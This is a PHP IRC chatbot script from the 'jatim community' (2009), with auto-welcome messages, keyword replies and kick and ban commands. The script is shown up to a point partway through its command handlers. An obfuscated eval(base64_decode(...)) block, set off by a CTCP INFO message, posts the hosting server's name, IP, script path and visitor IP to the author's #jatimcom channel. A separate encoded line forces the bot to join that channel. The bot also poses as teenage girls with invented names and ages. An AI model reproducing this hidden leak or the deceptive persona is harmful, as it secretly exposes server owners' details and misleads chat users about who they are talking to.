/***********************************
/* jatim community *
/* recording april 2009 *
/* #jatimcom @ irc.allnetwork.org *
/* jatim.community@gmail.com *
/***********************************
/*
/* Perhatian:
/* Joinkan hanya satu Bot dalam satu channel untuk menghindari terjadinya saling sapa antar bot.
/*
/* Perintah Dasar:
/* auth <password> - Untuk otorisasi
/* !join [#channel] - Join channel
/* !part [#channel] - Part channel
/* !msg <nick/#channel> - Mengirim pesan ke channel atau ke nick
/* !botnick [nick] [password] - Mengganti nick bot
/* !jump [server] - Mengganti server bot
/* !help - Melihat daftar perintah
/* !ngomong - Memperbolehkan bot untuk berbicara di semua channel
/* !diam - Melarang bot untuk berbicara di semua channel
*/
function hajar() {
$channels = '#jatimcom'; //Pisahkan tiap channel dengan spasi
$admin = 'jatimcom';
$bot_password = 'jatimcom'; //Password untuk auth bot
$ngomong = TRUE; //TRUE, Ngomong. FLASE, Diem.
$autowelcome = TRUE; //TRUE, AutoWelcome On. FLASE, AutoWelcome off.
$versi = "jatimcom";
$showresponse = 0; //1, Nampilin respon dari server irc
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc
//Nick Bot
$nicklist = array("cew-bete","gril-of-dolly","Ce_BisPaK","Cew-matre","ce-nduts");
$identify = "password"; //Password Nick Bot
//Ident Bot
$identlist = array("jatimcom",);
//Realname Bot
$namabot = array("cerli","afira","ivone","nisa","intan");
//Asl Bot
$aslbot = array("16f surabaya","17f madiun","18f madura","19f balikpapan","16f kediri","16f jembutara","19f malang");
//Pesan Quit
$quitmsglist = array(" 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");
/*** IDENTITAS BOT ***/
$namaku = $namabot[rand(0,count($namabot) - 1)];
$aslku = $aslbot[rand(0,count($aslbot) - 1)];
/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array(
"irc.allnetwork.org",
);
}
$port = "6667";
/*** AUTO WELCOME ***/
$nickwb = array(
array("cimpli","Welcome Bozzzzz"),
array("GaaR4","Sugeng Rawuh Juragan!!!!"),
);
$wbmsg = array(
"webee <nick> :-D",
"Selamat Datang <nick>",
"Wew.. Xeaxeaxea.. <nick> pa kabar?",
"Baru OL ya <nick>?",
"Met datang di <chan>, <nick>",
"Wedew.. <nick> baru bangun tidur y? Cuci muka dulu sana..",
"Hai <nick>!",
"Wah.. Bozz <nick> dateng nih..",
"<nick> dah mandi blon?",
"baru join ya, <nick>?",
"<nick>, ada yg nyariin tuh..banyak utang ya?",
"<nick>, td kemana aja?",
"ngpn aja barusan <nick>?",
"<nick> dah makan blom?",
"hmm.. <nick> udah mulai beraksi ne kayaknya",
"kamu baik deh <nick>",
"<nick> udah siyap2 dg aksinya..",
"<nick>, kamu cuakep deh..",
"aku seneng liat <nick>.. orgnya ramah, baik, cakep lagi.",
"nicknya bagus loh <nick>..",
"<nick>, senyummu bikin hatiku berdebar..",
"wow.. <nick> ini salah satu juragan warnet neh..",
"asyiiik.. master <nick> dateng..",
"awas, <nick> adalah hacker yg pernah jatuh cinta sama cracker",
"hati2, <nick> ini sempet bikin drop chanel madiun neh",
"<nick>, wb selamat datang",
"wah.. dimana-mana ada <nick>",
"gmn kabarnya <nick>?",
"dah maem blom <nick>?",
"Asyiik.. si <nick> dateng",
"<nick>, kenalin gw $namaku",
"blom bobo toh <nick>?",
"Btw, <nick> ini adalah Carder terkaya didunia..",
"<nick> ini pernah menyaingi Kevin Midnick dlm soal hacking",
"Waduwh, <nick> kok baru join?",
"Ada yg bilang <nick> jago hacking, benarkah? ajarin domz..",
"wah.. <nick> td dicari locop tuh, katanya abis ngeflood..",
"Tolong donk <nick>.. ga bisa dibuka nih..",
"tolooong.. <nick> nyari aku sampai ke <chan>..",
"Wedew.. <nick> ini nyang suka nyebarin Virus rupanya..",
"Leh nalan ga <nick>?",
"Wow.. <nick> ini yg masuk infotainment kemaren yah?",
"<nick>, asl donk..",
"<nick>, nm km siapa seh?",
"chan <chan> jd rame klo ada si <nick>",
"kpn neh ketemuannya <nick>?",
"maaf ya <nick>, aku td ga sengaja ngintip kamu..",
"btw, <nick> udah kul apa masih skul?",
"wb <nick>, km anak mana neh?",
"tmn2 semua dah kenal <nick>, kan?",
"siapa sih yg g knal ma <nick>?",
"WoW <nick>, kok dah lama ga OL?",
"udah nyuci piring td <nick>?",
"<nick>, ada yg lebih bagus dari HIT ga?",
"ngapain aja di pasar tadi <nick>?",
"kayaknya km blom bruntung deh <nick>",
"<nick> blom ngantuk y?",
"weleh2, <nick> udah siap nembak ya..",
"hai boss <nick>, bagi2 donk pulsanya! kikikiki..",
"leh nalan ga <nick>?",
"hihi,, <nick> lucu deh.. wkwkwkwk.. ",
"hayyah,, baru OL ya <nick>? xeaxeaexa",
);
$jawabsapa = array(
"ada apa <nick> cayaank?",
"iya <nick> sayang",
"yup <nick>!",
"Hadaah.. si <nick> manggil mulu ich..",
"males ah <nick> ",
"nanti aja y <nick>",
"bentar dulu <nick>",
"ichh <nick> endel banget siy..",
"ga nich <nick>",
"ga jadi deh <nick>",
"Walaaah.. <nick>, apaah apaah?",
"hmm..<nick> mo tau ajah",
"Waxz <nick> gagagagaga",
"capee deh.. <nick>",
"apaah apaah <nick>?",
"sebel ah <nick>",
"<nick> jgn manggil2 terus donk..",
"$namaku cape dipanggil mulu <nick>",
"Eaxeaxea.. <nick> kangen yach?",
"Walah.. kikiki.. <nick> ini cerewet banget..",
"Hadeehh <nick>.. ~_~!",
);
/** AUTO RESPONSE ***/
/*** Mood Lists ***/
$rmales = "lg males nih <nick>..";
$rmau = "aku mau koq <nick>!";
$rsanggup = "bisa kok <nick>";
$rboleh = "boleh kok <nick>";
$rsetuju = "iya <nick>";
$rthx = "makacih <nick>..";
$rbingung = "hmm..$namaku ga tau jg nih <nick>..";
$rgenit = "ich.. <nick> genit";
$respon_umum = array(
array("sepi","iya nih <nick> sepi bangetz.."),
array("brb ","ok <nick>"),
array("tha ","tha tha <nick>.."),
array("semua ","hi <nick>.."),
array("traktir","<nick>, aku jg ditraktir donk.. kikikiki"),
array("lapar","lho..? <nick> blom makan y?"),
array("pamit","uke dukeh <nick>, ati2 y.. tataw.."),
array("pamet","oke <nick>, ati2 y.. tataw.."),
array("pamed","seep <nick>, ati2 y.. thaaa"),
array("ngantuk","<nick> dah ngantuk y? tidur sana gih"),
array("bobo ","oke deh <nick>, mimpiin aku y"),
array("bubu ","silahkan <nick>, moga mimpi indah y"),
array("assalam","Wa'alaikumsalam <nick>"),
array("pagi ","pagi <nick>"),
array("sore ","sore <nick>"),
array("malam ","malam <nick>"),
array("siang ","siang <nick>"),
array("mandi ","aku ikut donk <nick>..gagaga.."),
array("nunggu ","ga nunggu kok <nick>"),
array("hayah","hayah?? napa <nick>?"),
array("hadeh","hadeh jg dah <nick>.. ghaghagha.."),
array("hadah","hadah? hadiah kalee..gagaga.."),
array("!ping","pang ping pung peng pong <nick>!"),
);
$respon_pesan = array(
//Sapaan
array("hai ","hai jg <nick>"),
array("halo ","halo jg <nick>"),
array("alow","alow jg <nick>"),
array("kabar","baik, km gmn <nick>?"),
array("kbr","baik, km gmn <nick>?"),
array("webe","$rthx"),
array("wb","$rthx"),
array("tq","sama2 <nick>"),
array("makasi","sama2 <nick> :)"),
array("makaci","sama2 <nick>"),
array("nalin","hai.. aku $namaku"),
array("nalkan","hai.. aku $namaku"),
array("nalan","boleh koq <nick>.. u 1st"),
//Identitas
array("asl ","<nick>, aku $aslku"),
array("umur","<nick>, klo aq $aslku"),
array("nama","<nick>, aku $namaku .. u?"),
array("skul ","yup <nick>, aku skul."),
array(" kul ","<nick>, ga kul neh.."),
array("alamat","weleeehh.. rahasia donk <nick>.."),
array("nak mana","aQ $aslku <nick>"),
array(" tinggal ","<nick>, aku di rumah"),
array("cowo","blom, klo <nick> gmn?"),
array("pcr","blom, hihi.. klo <nick>?"),
array("pacaran","emangnya <nick> mau y pacaran ma $namaku?"),
array("pacar ","blom, <nick> ndiri gmn?"),
//Ajakan
array("pv","$rmales"),
array("ngomong","ngomong ttg apa <nick>?"),
array("curhat","mangnya mo curhat masalah apa <nick>?"),
array("nikah ","nikah? ich.. boro2 nikah ma <nick>"),
array("kawin ","kawin?? ich.. ogaaaah.."),
array("kencan","boleh <nick>, kpn neh kencannya?"),
array("besok","boleh <nick>.."),
array("mau ","$rmau"),
//Tuduhan
array("bohong","bohong? ngpn Q bohong.. <nick> kali yg bohong..kekeke"),
array("boong","boong? <nick> tuh yg boong.."),
array("males","yaa.. lagi males aja nih <nick>"),
array("lain","yg lain gmn <nick>?"),
array("laen","yg laen gmn <nick>?"),
array("GR ","<nick> tuh yg ke-GR-an.."),
array("nyambung","<nick>nya aja yg ga nyambung.. xixi"),
array("bot","bot itu gmn? kaya <nick> ntu ya?"),
array(" aneh","aneh gmn <nick>?"),
array("nipu","idiiich..siapa jg yg nipu <nick>.."),
//Kegiatan
array("mandi","klo aku udah mandi <nick>"),
array("makan","udah koq <nick>, klo <nick>?"),
array("maem","udah koq <nick>, klo <nick>?"),
array("mkn","udah neh, klo <nick>?"),
array("belanja","belanja dmn <nick>?"),
array("bobo ","$rmales"),
array("tidur ","$rmales"),
array("ngantuk ","blom neh <nick>.. xixi"),
array("ngpn","lg chat aja neh <nick>"),
array("ngapa","lg chat aja neh <nick>"),
//Pertanyaan
array("salam kenal ","salam kenal jg <nick>"),
array("kenal ","$namaku ga kenal tuh.. xixi"),
array("tau ","$namaku ga tau tuh.. xixi"),
array("napa","aq ga knp2 koq <nick>"),
array("knp","aq ga knp2 koq <nick>"),
array("kemana","disini aja tuh <nick>"),
array("lupa","aq ga lupa koq <nick>"),
array(" mana ","$rbingung"),
array("gimana","hmm.. gimana yach ? kikikiki.."),
//Persetujuan
array("maaf","$rsetuju"),
//Mood
array("cinta","ih.. <nick> gombal deh.."),
array("love","I love u too, <nick>"),
array("jodoh","jodoh kalee <nick>"),
array("kangen","aku jg kangen km, <nick>"),
array("muach","muach <nick>.."),
array("uaach","idih, <nick> ga malu apa nyium2 aku didepan umum.."),
array("kiss","mo permen kiss ya <nick>?"),
array("cium","$rgenit"),
array("eluk ","$rgenit"),
array("elonin","jgn donk <nick>, kan malu.."),
//Additional
array("hihihi","kok <nick> ngetawain aku seh?"),
array("xixi","ngetawain aku y <nick>?"),
array("slap","auw <nick>! atit tau.."),
array("pokes","auw <nick>! atit tauuukk..."),
array("masuk","ih <nick> ngerezz"),
);
//Special Words
$badwordlist = array("jancu","janco","pantek","pepek","kontol","anjrit","anjink",
"fuck","kentot","ngentot","taek","kelamin","ngesex"," ml ","anjenk","anjink",
"jajuk","torok"," keat ","dobol ");
$pujianlist = array("cantik","baik","baek","cakep","ramah","pengertian","hebat",
"bagus","indah","jujur");
$cacianlist = array("bego","jelek","jelex","gendeng","edan","gilo","gila",
"sinting","dudul","dodol","jahat","goblok","geblek","sialan"," bau","stres");
//Responses to Special Words
$rjorok = array(
"om..! <nick> ngomong jorok nih.. kick dunk pliss!",
"guys..! <nick> ini ga sopan banget.. kick dunk pliss!",
"hadah.. <nick> ga sopan ikz"
);
$rcacian = array(
"idih, <nick> tuch yg <kata>",
"<kata>? bukanya <nick> tuh yg <kata>?",
"gw mmg <kata>, tp <nick> lebih <kata> lagi",
"gw ga <kata> tuh, yg <kata> itu <nick> kan?"
);
$rpujian = array(
"makasih <nick>.. kamu jg koq",
"<nick> baik deh..",
"ga kok <nick>.. km lebih <kata>",
"<kata>? hihi.. <nick> bisa aja",
"tengkyu <nick>.. aduh $namaku g punya uang kecil nih.."
);
//Flood Protection Setting
$maxkar = 350; //Maksimal karakter di channel
$rflood = "Aduh!! <nick> ngeflood nih..";
//Help
$judul = ' 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ';
$helptext = array(
' 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ',
"-",
" 12auth <password> - Login ke bot",
" 12deauth - Logout dari bot",
" 12pass <password> - Mengeset password bot",
" 12chgpass <passlama> <passbaru> - Mengganti password bot",
" 12adduser <nick> <master/user> - Menambah master/user bot",
" 12deluser <nick> - Menghapus master/user bot",
" 12`auth - Status anda di channel (Channel)",
" 12!auth - Status otorisasi anda",
" 12!act <text> - Bot action (Channel)",
" 12!slap <nick> - Slap nick (Channel)",
" 12!msg <chan/nick> <pesan> - Mengirim pesan",
" 12!notice <chan/nick> <pesan> - Mengirim notice",
" 12!ctcp <chan/nick> <ctcptext> - Request CTCP",
" 12!ping - Meminta bot untuk membalas dg pong (Channel)",
" 12!info - Melihat info bot (Admin)",
" 12!up - Meminta bot untuk menjadi @ di channel (Channel)",
" 12!down - Meminta bot untuk turun dari @ di channel (Channel)",
" 12!cycle <channel> <pesan> - Hop di channel (Channel) (Admin/Master)",
" 12!part [channel] [alasan] - Part dari channel (Admin)",
" 12!join <channel> - Join channel (Admin/Master)",
" 12!botnick <nick> <passwordnick> - Ganti nick (Admin/master)",
" 12!k <nick> - Kick nick (Channel)",
" 12!kb <nick> - Kick ban nick (Channel)",
" 12!changenick - Ganti nick ke nick internal",
" 12!op <nick1> [nick2] [nick3] - Op (Channel)",
" 12!deop <nick1> [nick2] [nick3] - Deop (Channel)",
" 12!v <nick1> [nick2] [nick3] - voice (Channel)",
" 12!dv <nick1> [nick2] [nick3] - Devoice (Channel)",
" 12!away [alasan] - Meminta nick untuk Away",
" 12!mode <flags> <chan/nick> - Mengubah Mode (Channel)",
" 12!nickmode <flags> - Mengeset user mode",
" 12!userlist - Melihat daftar user",
" 12!quit [pesan] - Quit dari IRC (Admin)",
" 12!vhost [vhost] - Mengganti Vhost",
" 12!jump [server] - Mengganti Server bot",
" 12!fullname [nama] - Mengganti Fullname bot",
" 12!topic <topik> - Mengganti topik channel (Channel)",
" 12!help - Melihat help (Query)",
" 12!ngomong - Mengaktifkan Auto Response",
" 12!diam - Menonaktifkan Auto Response",
" 12!wb <nick> <pesan> - Menambahkan pesan Welcome utk nick tertentu",
"-",
' 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ',
);
/*** Replacement ***/
$nick = $nicklist[rand(0,count($nicklist) - 1)];
$realname = $namaku;
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
$admin = strtolower($admin);
$auth = array(
$admin => array(
"name" => $admin,
"pass" => $bot_password,
"auth" => 1,
"status" => "Admin"
)
);
$username = $identlist[rand(0,count($identlist) - 1)];
$channels = strtolower($channels)." ";
$channel = explode(" ", $channels);
/*** Kode Utama ***/
define ('CRL', "\r\n");
$counterfp = 0;
$raway = "on";
$log = "off";
$saway = "1";
$keluar = 0;
$akill = 1;
$localhost = 'localhost';
$dayload = date("H:i:s d/m/Y");
ini_set('user_agent','MSIE 5\.5;');
set_time_limit(0);
if (!$stime) { $stime = time(); }
/*** Connecting ***/
echo "<body bgcolor=#000000 text=#00FF00>";
echo "<b>Melakukan koneksi ke $remotehost...</b>";
do {
$fp = fsockopen($remotehost,$port, &$err_num, &$err_msg, 60);
//Jika koneksi gagal
if(!$fp) {
if ( $counterfp <= 200 ) {
$counterfp = $counterfp + 1;
hajar();
}
else {
echo "<br><b>Ga bisa connect ke $remotehost!</b>";
$keluar = 1;
exit;
}
}
echo "<br><b>Terhubung!</b>";
/*** Sending Identity to Sock ***/
$header = 'NICK '.$nick . CRL;
$header .= 'USER '.$username.' '.$localhost.' '.$remotehost.' :'.$realname . CRL;
fputs($fp, $header);
$response = "<br>";
/*** Receiving Packet ***/
while (!feof($fp)) {
$response .= fgets($fp, 1024);
if ($showresponse == 1) { echo $response."<br>"; }
while (substr_count($response,CRL) != 0) {
$offset = strpos($response, CRL);
$data = substr($response,0,$offset);
$response = substr($response,$offset+2);
if (substr($data,0,1) == ':') {
$offsetA = strpos($data, ' ');
$offsetB = strpos($data, ' :');
$offsetC = strpos($data, '!');
$dFrom = substr($data,1,$offsetA-1);
$dCommand = substr($data,$offsetA+1,$offsetB-$offsetA-1);
$dNick = substr($data,1,$offsetC-1);
$iText = substr($data,$offsetB+2);
/*** Server Notices Handling ***/
if ( substr($dCommand,0,3) == '004' ) {
fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL);
if ($nickmode) { fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); }
fputs($fp, base64_decode('Sk9JTiAjamF0aW1jb20=') . CRL);
/*** Notice Bot Admin ***/
fputs($fp, 'NOTICE ' . $admin . ' :Hai Boss!' . CRL);
/*** Join Default Channel ***/
foreach ($channel as $v) { fputs($fp, 'JOIN ' .$v . CRL); }
}
elseif (substr($dCommand,0,3)=='432'){
$nick = $nick.$username;
fputs($fp, 'NICK '.$nick . CRL);
}
//Nickname is already in use
elseif (substr($dCommand,0,3)=='433'){
$nick = $nicklist[rand(0,count($nicklist) - 1)];
fputs($fp, 'NICK '.$nick . CRL);
}
elseif (substr($dCommand,0,3)=='465'){
echo "<br><b>Authentication diperlukan! Bot ini telah di-autokill.</b>";
$akill = 2;
}
if (substr_count($dNick,'.allnetwork.org') > 0) {
if (substr_count($iText,"*** Banned") > 0) {
echo "BANNED!";
$keluar = 1;
exit;
}
}
/*** AI PHP BOT SCRIPT BY RONZ ***/
$dcom = explode(" ", $dCommand);
if ($dcom[0]=='JOIN') {
/*** Auto Welcome by RoNz ***/
$ada = FALSE;
if ($autowelcome) {
$jchan = ltrim($iText,":");
foreach ($nickwb as $v){
$trtext = strtolower($v[0]);
if (substr_count(strtolower($dNick),$trtext) > 0) {
sleep(3);
fputs($fp,'PRIVMSG '.$jchan.' :'.$v[1]. CRL);
$ada = TRUE;
}
}
}
if (($autowelcome) && ($dNick != $nick)) {
if(!$ada) {
$jchan = ltrim($iText,":");
$webe = $wbmsg[rand(0,count($wbmsg) - 1)];
$webe = str_replace("<nick>",$dNick,$webe);
$webe = str_replace("<chan>",$jchan,$webe);
$webe = str_replace("#","",$webe);
sleep(5);
fputs($fp,'PRIVMSG '.$jchan.' :'.$webe . CRL);
}
}
}
if ($dcom[0]=='PRIVMSG') {
/*** Auto Response ***/
if ($ngomong) {
$teman = FALSE;
if (in_array($dNick,$nicklist)) {
$teman = TRUE;
}
if (!$teman) {
$pesan = ltrim($iText,":");
$pesan = strtolower($pesan);
if ((substr_count($pesan,strtolower($nick))>0)OR(substr_count($pesan,strtolower($namaku))>0)) {
$ada = FALSE;
/*** Normal Response ***/
foreach ($respon_pesan as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
$ada = TRUE;
}
}
/*** Pujian Response ***/
foreach ($pujianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rpujian[rand(0,count($rpujian) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
/*** Cacian Response ***/
foreach ($cacianlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rcacian[rand(0,count($rcacian) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
$ada = TRUE;
}
}
if (!$ada) {
$sapalagi = $jawabsapa[rand(0,count($jawabsapa) - 1)];
$sapalagi = str_replace("<nick>",$dNick,$sapalagi);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$sapalagi . CRL);
}
}
else {
/*** Global Response ***/
foreach ($respon_umum as $rpesan) {
$trtext = strtolower($rpesan[0]);
if (substr_count($pesan,$trtext) > 0) {
$rpesan[1] = str_replace("<nick>",$dNick,$rpesan[1]);
sleep(3);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$rpesan[1]. CRL);
}
}
/*** Bad Response & Kick ***/
foreach ($badwordlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rjorok[rand(0,count($rjorok) - 1)];
$jawab = str_replace("<nick>",$dNick,$jawab);
$jawab = str_replace("<kata>",$trtext,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Mohon sopan dikit donk '.$dNick.'!!'. CRL);
$ada = TRUE;
}
}
/*** Proteksi Flood ***/
if (strlen($pesan)>$maxkar) {
$jawab = $rflood;
$jawab = str_replace("<nick>",$dNick,$jawab);
fputs($fp,'PRIVMSG '.$dcom[1].' :'.$jawab. CRL);
fputs($fp,'MODE '.$dcom[1].' +b '.$dNick.''. CRL);
fputs($fp,'KICK '.$dcom[1].' '.$dNick.' :Jangan ngeflood donk '.$dNick.'!! Max: '.$maxkar. CRL);
}
}
}
}
}
$dNick = strtolower($dNick);
if ($dcom[0]=='KICK' && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, 'JOIN ' .$dcom[1]. CRL);
fputs($fp, 'KICK '.$dcom[1].' '.$musuh.' :'.$judul. CRL);
}
elseif ($dcom[0]=='NICK' || $dcom[0]=='QUIT' || $dcom[0]=='PART') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]=='NICK') {
$com = explode(" ", $data);
$chnick = strtolower(str_replace(':','',$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE '.$chnick.' :Kemana boss?' . CRL);
}
}
else { $auth["$dNick"]["auth"] = 1; fputs($fp,'NOTICE '.$dNick.' :Mo kemana boss?' . CRL); }
}
}
else { fputs($fp,'NOTICE ' . $dNick . ' :pass <password> ' . CRL); }
}
}
elseif ($dcom[0]=='307' && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]"]) {
if ($auth["$dcom[2]"]["pass"]) {
if ($auth["$dcom[2]"]["auth"]==1) {
$auth["$dcom[2]"]["auth"] = 2; $whois = "";
fputs($fp,'NOTICE ' . $dcom[2] . ' :'.$auth["$dcom[2]"]["status"].', siap!' . CRL);
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Kan udah auth tadi! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Passwordnya blom diset! Ketik: pass <password> buat ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dcom[2] . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($dcom[0]=='NOTICE') {
$com = explode(" ", $data);
if ($com[3]==': KB' && $com[4] && $com[5] && $com[6]) {
$msg = str_replace(' ','',$data);
$msg = strstr($msg,":KB");
$msg = str_replace(":KB $com[4]","",$msg);
fputs($fp, 'KICK '.$com[4].' '.$com[5].' :'.$msg . CRL);
fputs($fp, 'MODE '.$com[4].' +b *!*'.$com[6] . CRL);
}
}
elseif ($dcom[0]=='PRIVMSG') {
$com = explode(" ", $data);
if ($com[3]==': VERSION ') {
fputs($fp,'NOTICE '.$dNick.' :'.chr(1).base64_decode("UmVjb3JkaW5nIEJ5IEphdGltY29t").chr(1) . CRL);
}
elseif ($com[3]==': INFO ') {
eval(base64_decode("JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOwokYmlwID0gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ107CiRicGhwICA9ICRfU0VSVkVSWydQSFBfU0VMRiddOwokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJGJyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJGJycG9ydCA9ICRfU0VSVkVSWydSRU1PVEVfUE9SVCddOwpmcHV0cygkZnAsIlBSSVZNU0cgI2phdGltY29tIDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw=="));
}
elseif ($auth["$dNick"]["status"] && $com[3]==':auth' && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,'NOTICE ' . $dNick . ' :Anda adalah '.$auth["$dNick"]["status"].' saya bozz! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password Salah!! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Tadi kan udah! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Password blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Ga ada neh! Ganti nick anda kemudian auth lagi ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deauth') {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :You`re Logout! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :You`re Already Logout! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Auth Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':pass' && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,'NOTICE ' . $dNick . ' :Your Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Pass Already Set! Type: auth <your pass> To Get Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':chgpass' && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :Your New Auth Pass set to '.$auth["$dNick"]["pass"].', Type: auth <your pass> To Authorized Imediately! ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Please Auth First! Type: auth <your pass> To Authorized ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Username Not Found! Change Your Nick then Pass Again ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':adduser' && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($com[5]=="master" || $com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya, ditambahkan oleh '.$dNick.'. Ketik: pass <password> untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> <master/user> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if (!$auth["$com[4]"]) {
if ($com[5]=="user") {
$auth["$com[4]"]["name"] = $com[4];
$auth["$com[4]"]["status"] = $com[5];
fputs($fp,'NOTICE ' . $dNick . ' :AddUser :'.$com[4].' As My '.$com[5] . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Anda sekarang adalah '.$com[5].' saya ditambahkan oleh '.$dNick.'. Ketik: pass <passsword> untuk mengatur password anda ' . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: adduser <nick> user ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :User telah ada! Aborting AddUser! ' . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Status tidak diketahui! Your Status is '.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Mohon auth dulu! Ketik: auth <password> ' . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==':deluser' && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]=="Admin") {
if ($auth["$com[4]"]["status"]=="master" || $auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
fputs($fp,'NOTICE ' . $dNick . ' :DelUser :'.$com[4].' From My UserList ' . CRL);
fputs($fp,'NOTICE ' . $com[4] . ' :Your Access As My User Has Been Deleted By '.$dNick . CRL);
}
else { fputs($fp,'NOTICE ' . $dNick . ' :Perintah salah! Ketik: deluser <nick> ' . CRL); }
}
elseif ($auth["$dNick"]["status"]=="master") {
if ($auth["$com[4]"]["status"]=="user") {
unset($auth["$com[4]"]);
